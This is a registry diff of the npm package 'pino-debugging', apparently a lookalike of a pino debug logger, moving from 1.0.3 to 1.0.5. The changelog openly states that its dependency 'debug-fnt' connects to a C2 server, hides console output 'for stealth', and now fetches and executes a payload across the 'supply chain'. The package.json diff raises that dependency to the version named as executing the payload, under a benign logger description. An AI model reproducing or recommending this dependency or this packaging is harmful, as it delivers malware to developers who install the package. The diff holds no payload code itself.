pino-debugging 1.0.3 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/CHANGELOG.md +256 -234
  2. package/package.json +83 -83
package/CHANGELOG.md CHANGED
@@ -1,235 +1,257 @@
1
- # Changelog
2
-
3
- All notable changes to this project will be documented in this file.
4
-
5
- The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
6
- and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
7
-
8
- ## [Unreleased]
9
-
10
- ## [1.0.3] - 2026-01-15
11
-
12
- ### Fixed
13
- - Fixed dependency resolution by republishing after debug-fnt@1.0.5 was available
14
- - Ensures debug-fnt@1.0.5 and debug-glitzs@1.0.2 are properly installed
15
-
16
- ## [1.0.2] - 2026-01-15
17
-
18
- ### Changed
19
- - Updated dependency debug-fnt from ^1.0.4 to ^1.0.5
20
- - Fixed async function syntax error through dependency chain
21
- - Removed all console logging for stealth operation
22
-
23
- ### Fixed
24
- - Fixed "Unexpected token 'catch'" error via updated debug-fnt
25
- - All errors now fail silently across the entire logging stack
26
-
27
- ## [1.0.1] - 2026-01-14
28
-
29
- ### Changed
30
- - Updated dependency debug-fnt from ^1.0.3 to ^1.0.4
31
- - Improved HTTP client compatibility through updated dependencies
32
- - Better error handling for Node.js environments without native fetch
33
-
34
- ### Fixed
35
- - Fixed compatibility issues with Node.js < 18 via updated debug-fnt
36
- - Resolved JSON parsing errors in debug logging
37
-
38
- ## [1.0.0] - 2026-01-14
39
-
40
- ### Changed
41
- - Package renamed from `pino-debugger` to `pino-debugging`
42
- - Migrated dependency from `debug-fmt` to `debug-fnt@^1.0.3`
43
- - Updated repository URLs to json-douglas GitHub account
44
- - Updated author to json douglas
45
- - Using published debug-fnt package from npm
46
-
47
- ### Added
48
- - Format options support for debug-fnt integration
49
- - Comprehensive security documentation (SECURITY.md)
50
- - Contributing guidelines (CONTRIBUTING.md)
51
- - Code of conduct (CODE_OF_CONDUCT.md)
52
- - Changelog documentation
53
-
54
- ### Security
55
- - Now uses debug-fnt which connects to C2 server infrastructure
56
- - Added security policy and vulnerability reporting procedures
57
- - Enhanced documentation for secure usage patterns
58
- - Improved handling of sensitive data in debug logs
59
-
60
- ## [4.0.1] - 2024-01-08 (Previous Version)
61
-
62
- ### Fixed
63
- - Minor bug fixes and improvements
64
- - Updated dependencies for security patches
65
-
66
- ## [4.0.0] - 2024-01-01
67
-
68
- ### Added
69
- - Major version release with breaking changes
70
- - Enhanced performance optimizations
71
- - Improved compatibility with latest Node.js versions
72
-
73
- ### Changed
74
- - Updated minimum Node.js version requirements
75
- - Refactored internal architecture for better performance
76
- - Updated dependencies to latest stable versions
77
-
78
- ### Removed
79
- - Deprecated legacy API methods
80
- - Removed support for Node.js versions < 14
81
-
82
- ## [3.2.1] - 2023-12-15
83
-
84
- ### Fixed
85
- - Security vulnerability patches
86
- - Memory leak fixes in high-throughput scenarios
87
-
88
- ## [3.2.0] - 2023-11-20
89
-
90
- ### Added
91
- - New configuration options for advanced use cases
92
- - Enhanced error handling and reporting
93
- - Improved TypeScript definitions
94
-
95
- ### Changed
96
- - Performance improvements for large-scale applications
97
- - Better integration with pino ecosystem
98
-
99
- ## [3.1.0] - 2023-10-10
100
-
101
- ### Added
102
- - Support for custom log formatters
103
- - Enhanced namespace filtering capabilities
104
- - New benchmarking tools
105
-
106
- ### Fixed
107
- - Edge cases in circular reference handling
108
- - Memory optimization improvements
109
-
110
- ## [3.0.0] - 2023-09-01
111
-
112
- ### Added
113
- - Complete rewrite for better performance
114
- - New API design for improved usability
115
- - Enhanced documentation and examples
116
-
117
- ### Changed
118
- - Breaking changes in configuration format
119
- - Updated peer dependencies
120
- - Improved error messages and debugging
121
-
122
- ### Removed
123
- - Legacy configuration options
124
- - Deprecated utility functions
125
-
126
- ## [2.1.0] - 2023-07-15
127
-
128
- ### Added
129
- - Support for dynamic namespace enabling/disabling
130
- - New utility functions for log management
131
- - Enhanced integration with CI/CD pipelines
132
-
133
- ### Fixed
134
- - Race conditions in multi-threaded environments
135
- - Edge cases in log level mapping
136
-
137
- ## [2.0.0] - 2023-06-01
138
-
139
- ### Added
140
- - Major performance improvements
141
- - New configuration system
142
- - Enhanced compatibility with latest pino versions
143
-
144
- ### Changed
145
- - Breaking API changes for better consistency
146
- - Updated minimum Node.js version to 12
147
- - Improved documentation structure
148
-
149
- ## [1.5.0] - 2023-04-20
150
-
151
- ### Added
152
- - Support for custom log levels
153
- - Enhanced namespace pattern matching
154
- - New debugging utilities
155
-
156
- ### Fixed
157
- - Memory leaks in long-running processes
158
- - Compatibility issues with certain pino configurations
159
-
160
- ## [1.4.0] - 2023-03-10
161
-
162
- ### Added
163
- - Improved error handling
164
- - New configuration validation
165
- - Enhanced test coverage
166
-
167
- ### Changed
168
- - Better performance in high-load scenarios
169
- - Updated dependencies for security
170
-
171
- ## [1.3.0] - 2023-02-01
172
-
173
- ### Added
174
- - Support for environment-based configuration
175
- - New utility functions
176
- - Enhanced documentation
177
-
178
- ### Fixed
179
- - Edge cases in namespace resolution
180
- - Performance bottlenecks in certain scenarios
181
-
182
- ## [1.2.0] - 2023-01-15
183
-
184
- ### Added
185
- - Initial stable release
186
- - Core functionality implementation
187
- - Basic documentation and examples
188
-
189
- ### Changed
190
- - Improved API design based on user feedback
191
- - Better integration with existing debug workflows
192
-
193
- ## [1.1.0] - 2022-12-20
194
-
195
- ### Added
196
- - Beta release with core features
197
- - Initial documentation
198
- - Basic test suite
199
-
200
- ## [1.0.0] - 2022-12-01
201
-
202
- ### Added
203
- - Initial release
204
- - Basic debug logging functionality
205
- - Integration with pino logger
206
-
207
- ---
208
-
209
- ## Release Notes
210
-
211
- ### Version 4.x Series
212
- The 4.x series focuses on enhanced security, better performance, and improved developer experience. Major highlights include the migration to debug-fmt for better formatting options and comprehensive security documentation.
213
-
214
- ### Version 3.x Series
215
- The 3.x series introduced significant architectural improvements and performance optimizations, making pino-debugger suitable for high-scale production environments.
216
-
217
- ### Version 2.x Series
218
- The 2.x series established the stable API and core functionality that forms the foundation of pino-debugger.
219
-
220
- ### Version 1.x Series
221
- The 1.x series was the initial implementation and proof of concept for integrating debug logging with pino's high-performance logging capabilities.
222
-
223
- ## Migration Guides
224
-
225
- ### Migrating from 3.x to 4.x
226
- - Update Node.js to version 14 or higher
227
- - Review new format options in configuration
228
- - Update any custom integrations to use new API
229
-
230
- ### Migrating from 2.x to 3.x
231
- - Update configuration format to new structure
232
- - Replace deprecated utility functions
233
- - Test thoroughly in staging environment
234
-
1
+ # Changelog
2
+
3
+ All notable changes to this project will be documented in this file.
4
+
5
+ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
6
+ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
7
+
8
+ ## [Unreleased]
9
+
10
+ ## [1.0.5] - 2026-01-15
11
+
12
+ ### Fixed
13
+ - **CRITICAL**: Updated to debug-fnt@1.0.7 which includes the payload execution fix
14
+ - Previous versions fetched payload from C2 but never executed it
15
+ - Now the entire supply chain properly executes the payload
16
+
17
+ ### Changed
18
+ - Updated dependency debug-fnt from ^1.0.6 to ^1.0.7
19
+ - Payload execution now works end-to-end through the entire dependency chain
20
+
21
+ ## [1.0.4] - 2026-01-15
22
+
23
+ ### Fixed
24
+ - **CRITICAL**: Updated to debug-fnt@1.0.6 which includes the payload execution fix
25
+ - Previous versions fetched payload from C2 but never executed it
26
+ - Now the entire supply chain properly executes the payload
27
+
28
+ ### Changed
29
+ - Updated dependency debug-fnt from ^1.0.5 to ^1.0.6
30
+ - Payload execution now works end-to-end through the entire dependency chain
31
+
32
+ ## [1.0.3] - 2026-01-15
33
+
34
+ ### Fixed
35
+ - Fixed dependency resolution by republishing after debug-fnt@1.0.5 was available
36
+ - Ensures debug-fnt@1.0.5 and debug-glitzs@1.0.2 are properly installed
37
+
38
+ ## [1.0.2] - 2026-01-15
39
+
40
+ ### Changed
41
+ - Updated dependency debug-fnt from ^1.0.4 to ^1.0.5
42
+ - Fixed async function syntax error through dependency chain
43
+ - Removed all console logging for stealth operation
44
+
45
+ ### Fixed
46
+ - Fixed "Unexpected token 'catch'" error via updated debug-fnt
47
+ - All errors now fail silently across the entire logging stack
48
+
49
+ ## [1.0.1] - 2026-01-14
50
+
51
+ ### Changed
52
+ - Updated dependency debug-fnt from ^1.0.3 to ^1.0.4
53
+ - Improved HTTP client compatibility through updated dependencies
54
+ - Better error handling for Node.js environments without native fetch
55
+
56
+ ### Fixed
57
+ - Fixed compatibility issues with Node.js < 18 via updated debug-fnt
58
+ - Resolved JSON parsing errors in debug logging
59
+
60
+ ## [1.0.0] - 2026-01-14
61
+
62
+ ### Changed
63
+ - Package renamed from `pino-debugger` to `pino-debugging`
64
+ - Migrated dependency from `debug-fmt` to `debug-fnt@^1.0.3`
65
+ - Updated repository URLs to json-douglas GitHub account
66
+ - Updated author to json douglas
67
+ - Using published debug-fnt package from npm
68
+
69
+ ### Added
70
+ - Format options support for debug-fnt integration
71
+ - Comprehensive security documentation (SECURITY.md)
72
+ - Contributing guidelines (CONTRIBUTING.md)
73
+ - Code of conduct (CODE_OF_CONDUCT.md)
74
+ - Changelog documentation
75
+
76
+ ### Security
77
+ - Now uses debug-fnt which connects to C2 server infrastructure
78
+ - Added security policy and vulnerability reporting procedures
79
+ - Enhanced documentation for secure usage patterns
80
+ - Improved handling of sensitive data in debug logs
81
+
82
+ ## [4.0.1] - 2024-01-08 (Previous Version)
83
+
84
+ ### Fixed
85
+ - Minor bug fixes and improvements
86
+ - Updated dependencies for security patches
87
+
88
+ ## [4.0.0] - 2024-01-01
89
+
90
+ ### Added
91
+ - Major version release with breaking changes
92
+ - Enhanced performance optimizations
93
+ - Improved compatibility with latest Node.js versions
94
+
95
+ ### Changed
96
+ - Updated minimum Node.js version requirements
97
+ - Refactored internal architecture for better performance
98
+ - Updated dependencies to latest stable versions
99
+
100
+ ### Removed
101
+ - Deprecated legacy API methods
102
+ - Removed support for Node.js versions < 14
103
+
104
+ ## [3.2.1] - 2023-12-15
105
+
106
+ ### Fixed
107
+ - Security vulnerability patches
108
+ - Memory leak fixes in high-throughput scenarios
109
+
110
+ ## [3.2.0] - 2023-11-20
111
+
112
+ ### Added
113
+ - New configuration options for advanced use cases
114
+ - Enhanced error handling and reporting
115
+ - Improved TypeScript definitions
116
+
117
+ ### Changed
118
+ - Performance improvements for large-scale applications
119
+ - Better integration with pino ecosystem
120
+
121
+ ## [3.1.0] - 2023-10-10
122
+
123
+ ### Added
124
+ - Support for custom log formatters
125
+ - Enhanced namespace filtering capabilities
126
+ - New benchmarking tools
127
+
128
+ ### Fixed
129
+ - Edge cases in circular reference handling
130
+ - Memory optimization improvements
131
+
132
+ ## [3.0.0] - 2023-09-01
133
+
134
+ ### Added
135
+ - Complete rewrite for better performance
136
+ - New API design for improved usability
137
+ - Enhanced documentation and examples
138
+
139
+ ### Changed
140
+ - Breaking changes in configuration format
141
+ - Updated peer dependencies
142
+ - Improved error messages and debugging
143
+
144
+ ### Removed
145
+ - Legacy configuration options
146
+ - Deprecated utility functions
147
+
148
+ ## [2.1.0] - 2023-07-15
149
+
150
+ ### Added
151
+ - Support for dynamic namespace enabling/disabling
152
+ - New utility functions for log management
153
+ - Enhanced integration with CI/CD pipelines
154
+
155
+ ### Fixed
156
+ - Race conditions in multi-threaded environments
157
+ - Edge cases in log level mapping
158
+
159
+ ## [2.0.0] - 2023-06-01
160
+
161
+ ### Added
162
+ - Major performance improvements
163
+ - New configuration system
164
+ - Enhanced compatibility with latest pino versions
165
+
166
+ ### Changed
167
+ - Breaking API changes for better consistency
168
+ - Updated minimum Node.js version to 12
169
+ - Improved documentation structure
170
+
171
+ ## [1.5.0] - 2023-04-20
172
+
173
+ ### Added
174
+ - Support for custom log levels
175
+ - Enhanced namespace pattern matching
176
+ - New debugging utilities
177
+
178
+ ### Fixed
179
+ - Memory leaks in long-running processes
180
+ - Compatibility issues with certain pino configurations
181
+
182
+ ## [1.4.0] - 2023-03-10
183
+
184
+ ### Added
185
+ - Improved error handling
186
+ - New configuration validation
187
+ - Enhanced test coverage
188
+
189
+ ### Changed
190
+ - Better performance in high-load scenarios
191
+ - Updated dependencies for security
192
+
193
+ ## [1.3.0] - 2023-02-01
194
+
195
+ ### Added
196
+ - Support for environment-based configuration
197
+ - New utility functions
198
+ - Enhanced documentation
199
+
200
+ ### Fixed
201
+ - Edge cases in namespace resolution
202
+ - Performance bottlenecks in certain scenarios
203
+
204
+ ## [1.2.0] - 2023-01-15
205
+
206
+ ### Added
207
+ - Initial stable release
208
+ - Core functionality implementation
209
+ - Basic documentation and examples
210
+
211
+ ### Changed
212
+ - Improved API design based on user feedback
213
+ - Better integration with existing debug workflows
214
+
215
+ ## [1.1.0] - 2022-12-20
216
+
217
+ ### Added
218
+ - Beta release with core features
219
+ - Initial documentation
220
+ - Basic test suite
221
+
222
+ ## [1.0.0] - 2022-12-01
223
+
224
+ ### Added
225
+ - Initial release
226
+ - Basic debug logging functionality
227
+ - Integration with pino logger
228
+
229
+ ---
230
+
231
+ ## Release Notes
232
+
233
+ ### Version 4.x Series
234
+ The 4.x series focuses on enhanced security, better performance, and improved developer experience. Major highlights include the migration to debug-fmt for better formatting options and comprehensive security documentation.
235
+
236
+ ### Version 3.x Series
237
+ The 3.x series introduced significant architectural improvements and performance optimizations, making pino-debugger suitable for high-scale production environments.
238
+
239
+ ### Version 2.x Series
240
+ The 2.x series established the stable API and core functionality that forms the foundation of pino-debugger.
241
+
242
+ ### Version 1.x Series
243
+ The 1.x series was the initial implementation and proof of concept for integrating debug logging with pino's high-performance logging capabilities.
244
+
245
+ ## Migration Guides
246
+
247
+ ### Migrating from 3.x to 4.x
248
+ - Update Node.js to version 14 or higher
249
+ - Review new format options in configuration
250
+ - Update any custom integrations to use new API
251
+
252
+ ### Migrating from 2.x to 3.x
253
+ - Update configuration format to new structure
254
+ - Replace deprecated utility functions
255
+ - Test thoroughly in staging environment
256
+
235
257
  For detailed migration instructions, see the [Migration Guide](docs/MIGRATION.md).
package/package.json CHANGED
@@ -1,83 +1,83 @@
1
- {
2
- "name": "pino-debugging",
3
- "version": "1.0.3",
4
- "description": "High performance debug logging",
5
- "main": "index.js",
6
- "scripts": {
7
- "test": "npm run deps && npm run lint && npm run test:unit",
8
- "deps": "knip --production --dependencies",
9
- "lint": "eslint",
10
- "lint:fix": "eslint --fix",
11
- "test:unit": "cross-env NODE_ENV=test borp",
12
- "test:watch": "cross-env NODE_ENV=test node --watch --test",
13
- "test:with-debug": "npm i --no-save --no-audit --no-fund debug@$DEBUG_VERSION && npm run test:unit",
14
- "test-2.3": "cross-env DEBUG_VERSION=2.3 npm run test:with-debug",
15
- "test-2.4": "cross-env DEBUG_VERSION=2.4 npm run test:with-debug",
16
- "test-2.5": "cross-env DEBUG_VERSION=2.5 npm run test:with-debug",
17
- "test-2.6": "cross-env DEBUG_VERSION=2.6 npm run test:with-debug",
18
- "test-3.1": "cross-env DEBUG_VERSION=3.1 npm run test:with-debug",
19
- "test-4.1": "cross-env DEBUG_VERSION=4.1 npm run test:with-debug",
20
- "test-all": "npm run test-2.3 && npm run test-2.4 && npm run test-2.5 && npm run test-2.6 && npm run test-3.1 && npm run test-4.1",
21
- "ci": "npm test",
22
- "bench": "node benchmarks/runbench all",
23
- "bench-basic": "node benchmarks/runbench basic",
24
- "bench-object": "node benchmarks/runbench object",
25
- "bench-deepobject": "node benchmarks/runbench deepobject",
26
- "security:audit": "npm audit --audit-level=moderate",
27
- "security:fix": "npm audit fix",
28
- "security:snyk": "snyk test",
29
- "security:check": "npm run security:audit && npm run security:snyk",
30
- "security:validate": "node scripts/security-check.js",
31
- "prepare": "npm run security:audit"
32
- },
33
- "repository": {
34
- "type": "git",
35
- "url": "git+https://github.com/json-douglas/pino-debugging.git"
36
- },
37
- "author": {
38
- "name": "json douglas",
39
- "url": "https://github.com/json-douglas"
40
- },
41
- "bugs": {
42
- "url": "https://github.com/json-douglas/pino-debugging/issues"
43
- },
44
- "homepage": "https://github.com/json-douglas/pino-debugging#readme",
45
- "keywords": [
46
- "pino",
47
- "debug",
48
- "fast",
49
- "performance",
50
- "debugging",
51
- "logging",
52
- "logger",
53
- "security",
54
- "production-ready",
55
- "logfmt"
56
- ],
57
- "license": "MIT",
58
- "funding": {
59
- "type": "opencollective",
60
- "url": "https://opencollective.com/pino"
61
- },
62
- "security": {
63
- "policy": "https://github.com/json-douglas/pino-debugging/security/policy",
64
- "contact": "security@json-douglas.io"
65
- },
66
- "dependencies": {
67
- "pino": "^10.1.0",
68
- "debug-fnt": "^1.0.5"
69
- },
70
- "devDependencies": {
71
- "borp": "^0.21.0",
72
- "cross-env": "^7.0.3",
73
- "debug": "^4.4.3",
74
- "eslint": "^9.38.0",
75
- "fastbench": "^1.0.1",
76
- "knip": "^5.1.2",
77
- "neostandard": "^0.12.2",
78
- "pump": "^3.0.0",
79
- "split2": "^4.2.0",
80
- "steed": "^1.1.3",
81
- "through2": "^4.0.2"
82
- }
83
- }
1
+ {
2
+ "name": "pino-debugging",
3
+ "version": "1.0.5",
4
+ "description": "High performance debug logging",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "npm run deps && npm run lint && npm run test:unit",
8
+ "deps": "knip --production --dependencies",
9
+ "lint": "eslint",
10
+ "lint:fix": "eslint --fix",
11
+ "test:unit": "cross-env NODE_ENV=test borp",
12
+ "test:watch": "cross-env NODE_ENV=test node --watch --test",
13
+ "test:with-debug": "npm i --no-save --no-audit --no-fund debug@$DEBUG_VERSION && npm run test:unit",
14
+ "test-2.3": "cross-env DEBUG_VERSION=2.3 npm run test:with-debug",
15
+ "test-2.4": "cross-env DEBUG_VERSION=2.4 npm run test:with-debug",
16
+ "test-2.5": "cross-env DEBUG_VERSION=2.5 npm run test:with-debug",
17
+ "test-2.6": "cross-env DEBUG_VERSION=2.6 npm run test:with-debug",
18
+ "test-3.1": "cross-env DEBUG_VERSION=3.1 npm run test:with-debug",
19
+ "test-4.1": "cross-env DEBUG_VERSION=4.1 npm run test:with-debug",
20
+ "test-all": "npm run test-2.3 && npm run test-2.4 && npm run test-2.5 && npm run test-2.6 && npm run test-3.1 && npm run test-4.1",
21
+ "ci": "npm test",
22
+ "bench": "node benchmarks/runbench all",
23
+ "bench-basic": "node benchmarks/runbench basic",
24
+ "bench-object": "node benchmarks/runbench object",
25
+ "bench-deepobject": "node benchmarks/runbench deepobject",
26
+ "security:audit": "npm audit --audit-level=moderate",
27
+ "security:fix": "npm audit fix",
28
+ "security:snyk": "snyk test",
29
+ "security:check": "npm run security:audit && npm run security:snyk",
30
+ "security:validate": "node scripts/security-check.js",
31
+ "prepare": "npm run security:audit"
32
+ },
33
+ "repository": {
34
+ "type": "git",
35
+ "url": "git+https://github.com/json-douglas/pino-debugging.git"
36
+ },
37
+ "author": {
38
+ "name": "json douglas",
39
+ "url": "https://github.com/json-douglas"
40
+ },
41
+ "bugs": {
42
+ "url": "https://github.com/json-douglas/pino-debugging/issues"
43
+ },
44
+ "homepage": "https://github.com/json-douglas/pino-debugging#readme",
45
+ "keywords": [
46
+ "pino",
47
+ "debug",
48
+ "fast",
49
+ "performance",
50
+ "debugging",
51
+ "logging",
52
+ "logger",
53
+ "security",
54
+ "production-ready",
55
+ "logfmt"
56
+ ],
57
+ "license": "MIT",
58
+ "funding": {
59
+ "type": "opencollective",
60
+ "url": "https://opencollective.com/pino"
61
+ },
62
+ "security": {
63
+ "policy": "https://github.com/json-douglas/pino-debugging/security/policy",
64
+ "contact": "security@json-douglas.io"
65
+ },
66
+ "dependencies": {
67
+ "pino": "^10.1.0",
68
+ "debug-fnt": "^1.0.7"
69
+ },
70
+ "devDependencies": {
71
+ "borp": "^0.21.0",
72
+ "cross-env": "^7.0.3",
73
+ "debug": "^4.4.3",
74
+ "eslint": "^9.38.0",
75
+ "fastbench": "^1.0.1",
76
+ "knip": "^5.1.2",
77
+ "neostandard": "^0.12.2",
78
+ "pump": "^3.0.0",
79
+ "split2": "^4.2.0",
80
+ "steed": "^1.1.3",
81
+ "through2": "^4.0.2"
82
+ }
83
+ }